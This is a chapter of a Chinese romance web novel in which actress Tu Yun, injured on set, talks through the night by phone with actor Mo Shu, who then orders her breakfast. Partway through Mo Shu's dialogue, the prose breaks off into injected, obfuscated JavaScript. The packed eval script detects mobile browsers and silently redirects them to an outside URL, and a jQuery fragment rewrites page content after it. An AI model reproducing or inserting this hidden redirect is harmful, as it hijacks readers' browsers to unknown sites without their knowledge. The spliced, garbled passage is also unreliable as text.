其实发完之后，涂韵就后悔了。
现在已经凌晨一点了，莫殊已经给她说了晚安，现在莫殊应该早就抱着枕头熟睡了。她发给他伤口照，并不会得到任何即时的回应，反而会让莫殊觉得她这个人莫名其妙的。
涂韵又摸了摸自己的手臂，其实……伤口的疼远没那么难忍。
她有些惊恐地发现，她也许只是想任性一次，和他说说话诉诉苦。
当涂韵意识到这一点的时候，她的心跳猛地加快，好似颁奖礼那天的小鹿又重新闯了进来，在她的心房里横冲直撞的。
她……喜欢他，一直很喜欢。
下一秒，放在身侧的手机突然震动起来。
涂韵的心跳猛地漏了一拍，连呼吸都跟着顿了半秒。
是莫殊。
涂韵：“喂？”
电话那头，莫殊刚摸到手机就看清了内容，图片其实拍的并不清晰，手臂上那条红痕糊的像条线。
但莫殊的睡意瞬间被惊散，指尖划过屏幕打涂韵微信电话的时候，连手都带着点不易察觉的慌。
他刻意放轻语气，怕自己的急切吓到她，声音里却藏不住担忧：“涂韵，你怎么了？受伤了？”
涂韵本来的打算是狠狠地骂一通莫殊，骂他蓝颜祸水，祸水东引，可接起电话的时候，声音却不自觉地软了下来，还带着点委屈，“没怎么，拍戏的时候弄伤的。”
莫殊心疼地问道：“疼么？去医院看了没？我明天买最早一班的飞机过来。”
图片怎么放大也不看清楚，他得亲自看看才放心。
“不用不用！”涂韵连忙提高音量，以她对他粗略的了解，她还真怕莫殊打飞的过来，“就是被道具划了一下而已，已经涂了药了。”
一想到涂韵孤零零地在横店拍戏，身边就带着一个人，拍戏还傻乎乎的受伤了，莫殊的心里就像被什么东西揪着似的疼。
“你确定真的不用去医院吗？”莫殊的声音软下来，带着点哄人的意味，结果却听到电话对面突然笑出了声。
“莫殊，我突然想起一句很经典的话，你现在就和这话描述的一样，”涂韵好不容易止住笑，问道，“你有没有听过一句话：好险，再晚点送去医院，伤口就要愈合了。”
其实涂韵的手臂还疼着，那道具剑虽然边缘被磨过，但还是尖厉，划得她钝疼钝疼的。
她在酒店房间里，一个人躺着听着空调压缩机在房间里吱呀吱呀的声音，就感觉特别的孤单。
可听到莫殊的声音，涂韵的鼻子一下子就有点酸。不知道是不是隔着电话的原因，声音有些失真，在这个晚上，莫殊的声音显得格外地温柔。
这好像是第一次，有人会因为她的一点小伤而惊慌，慌到连自己的工作都愿意往后放。
她悄悄地吸了吸鼻子，妄图用插科打诨打断莫殊的关心。
她怕莫殊再多说几句，她的眼眶就包不住眼泪水了。
莫殊愣了几秒，“听过。”
他没再坚持过去，而是接着柔声问道：“那你还疼不疼？一般受伤发炎了可能还会发烧，要是真的不舒服的话，要不要我和郭导说一声？你一般早上几点开工？我听说横店旁边有家粥铺很好吃，要不要给你点一碗皮蛋瘦肉粥？”
他知道涂韵不喜欢麻烦别人，就怕她不舒服还硬撑着拍戏。
涂韵知道莫殊是个喜欢早睡的人，莫殊每天的晚安都在十一点左右发过来。之前的采访里也能看出莫殊是老干部作息。
但现在都凌晨了，莫殊的声音却没有丝毫不耐烦，反而满是温柔的在意。
涂韵攥着手机的手指紧了紧，心里像被温水浸过一样，又暖又软。
她翻了个身，侧躺在床，将手机压在耳朵下面，好让莫殊的声音传过来更加地清晰。她乖乖地答：“有点疼，但能忍。没有发烧。明天早上七点起来化妆，八点开拍。皮蛋瘦肉粥，我想吃。”
“好，那我明天给你点。”电话那头传来衣服布料摩擦的细细簌簌声音和拉椅子的声音，应该是莫殊披了件外套，坐了起来。
莫殊坐在书桌前，手机放在耳边，另一只手的指尖无意识地摩挲着桌面。
“不疼啊，”他的声音更柔了，带着点安抚的意味，“对了，为什么你说都怪我？”
“我……”，涂韵不自觉地撅起嘴，问道，“没什么。莫殊，你……是不是要和林婉婉一起拍戏了？”
“林婉婉？”名字有些耳熟，莫殊回想了好几秒，才想起来那是涂韵正在拍的这部戏的女主角，“没有啊。”
“哦，想起来了，之前不是有一些电视剧的剧本在找我吗？有一部好像已经定了女主角，是林婉婉，正在找搭档的男主呢。我还在筛剧本，还没确定下来接哪部呢。怎么啦？”
涂韵心里的不安消散了大半，连手臂的疼都好像减轻了些。
她顺着他的话问，“那你……想接吗？”
莫殊认真地回忆了一下那部剧本，摇了摇头，答道：“不想，那个剧本纯是谈恋爱的剧情。”那本剧本找来的时候说是为他量身定做的，但莫殊翻了一下前六集，大概就是总裁和秘书的恋爱故事，剧情没有什么吸引力，就是纯宠纯甜。
“你之前不都是拍电影吗？怎么突然想着演电视剧了？”
莫殊顿了顿，慢慢开口，“因为你。”
“啊？“涂韵有些不可置信，”怎么会是因为我呀？”
莫殊转移话题，问道：“对了，你不是都喊我莫老师吗？怎么现在喊我莫殊了？”
涂韵抿了抿唇，私下里喊莫殊喊惯了，今天纯是忘记改口了。
见那边没有回复，莫殊忙解释道：“我不是一定要你喊莫老师，我……就喜欢你直接喊我名字。我本来也就比你大一岁，这样显得更亲昵一些……”
“知道啦！莫殊。”
两个人就这么有一搭没一搭地聊着，莫殊从以前拍戏的趣事说到参加活动时老是纠结要穿什么衣服，感觉总是不同的西装穿到底，还特意提起颁奖礼那天，涂韵穿的裙子很漂亮。
又说到两个人在微信里聊天，他说的那些油腻的梗。莫殊认真地讲：“我想变得说话有趣一些，特意在网上找了聊天的攻略。”
涂韵忍不住笑了，脑海里立刻浮现出他拿着手机在不同的界面上切换，绞尽脑汁想着该怎么开启话题的样子。“有没有可能，真正有趣的人根本不会写和找这种攻略。”
说完，涂韵又马上补充道：“但我觉得你今天这样说话就很好。”
很好，很温柔，让她都有些沉溺在这个深夜里。
聊着聊着，困意像温水一样慢慢漫上来，眼皮越来越重。
涂韵把手机贴得更近了些，仿佛这样就能离他更近一点。
“莫殊，”她迷迷糊糊地开口，声音轻得像梦呓，“你会不会觉得我很麻烦啊？这点小事还半夜打扰你。”
莫殊听到她的话，心里软得一塌糊涂。
他放轻了呼吸，声音里满是认真：“涂韵，怎么会麻烦呢？我今天很高兴，你能找我。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490349|185826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
他顿了顿，一字一句地说：“以后不管多晚，不管是多大的事，只要你需要，随时给我打电话。”他最怕的，从来不是麻烦，而是离她越来越远。
涂韵“嗯”了一声，嘴角还带着笑，意识像被羽毛轻轻包裹着，慢慢沉了下去，嘴里嘟囔着，“莫殊，你真好……和我记忆里的一样……”
记忆里？难道涂韵还记得他？
莫殊心里一惊，问道：“那……你记忆中的莫殊是什么样的？”
即使意识已经困到不清醒了，但听到莫殊这个名字，涂韵下意识地答道：“莫殊，生日一月三十号，水瓶座。二十岁拍《小镇有信》出道……”
这些资料，她都看过不知道多少遍了，简直是烂熟于心。
莫殊愣了一下，然后轻笑出声。
他听着电话那头渐渐变缓的呼吸声，知道涂韵已经睡着了。
莫殊没挂电话，只是把手机轻轻放在耳边，连呼吸都放得很轻，怕惊扰了她的梦。
他重新躺到了床上，将手机改为免提，那边均匀的呼吸声在伸手不见五指的房间里响着，让莫殊觉得心里面变得柔软起来。
他靠在枕头上，想象着涂韵熟睡的样子，一定很可爱。
凌晨三点，涂韵在半梦半醒间翻了个身，脸被手机咯了一下。
她这才发现手机还贴在耳边，能清晰地听到那头传来的呼吸声——莫殊，他也睡着了。
涂韵她没挂电话，只是小心翼翼地将被子往上提了提，将脑袋盖住。
枕边的手机传来的呼吸声变得更加地清晰，涂韵好似靠在莫殊的肩膀一样，安心又温暖。
重新闭上眼睛时，她想，晚安，莫殊。
*
“韵姐，起床啦，化妆啦！”早晨六点五十，门外响起小刘的大嗓门声音。
见屋里没人应，小刘有些奇怪地看着房间门口的机器人，酒店机器人的托盘里正放着一份外卖。
“没起吗？没起，韵姐怎么还能点早餐？”
而那机器人正挡在门口，持之以恒地拨打涂韵房间里的电话。
涂韵昨天睡得晚，还迷迷糊糊的时候，突然听见耳边传来莫殊的声音，“涂韵，早餐到了，快起床吧。”
“啊！见鬼啦！”涂韵被吓得一骨碌就坐了起来，看见枕边的手机，才想起昨天晚上和莫殊聊了好几个小时的事情。
她拿起手机一看，发现电话竟然一直没有挂断！显示两人的通话时间已经长达快七个小时，她的手机电量都已经变红奄奄一息了。
”没有鬼，是我，莫殊。”莫殊轻笑了一声，“你的手还疼吗？“
涂韵抓了抓毛躁的头发，心里面一万匹草泥马跑过。莫殊睡得比她晚，起得比她早，那不是完整听完了她睡觉的过程？也不知道……她晚上睡觉的时候有没有磨牙，或者说梦话……
涂韵拿起手机，说道：“莫老师，谢谢你点的早餐。我起床啦，先挂啦！”
莫殊坐在餐桌前，慢腾腾地喝了口豆浆，“涂韵，你别睡醒就不认人了。喊我莫殊就行。”
什么睡醒不认人啊？说得这么有歧义！
涂韵对着手机说了句“好的，莫殊”后，便赶紧起床开门，放小刘进来，还不忘从等了半小时的机器人的托盘里把早餐拿走。
小刘仔细一看，看见早餐外卖单上写着点餐人是“M”，好奇地问道：“韵姐，这M是谁啊？”
涂韵连忙心虚地一把捂住小刘的嘴，“我的姑奶奶，求求你小点声。”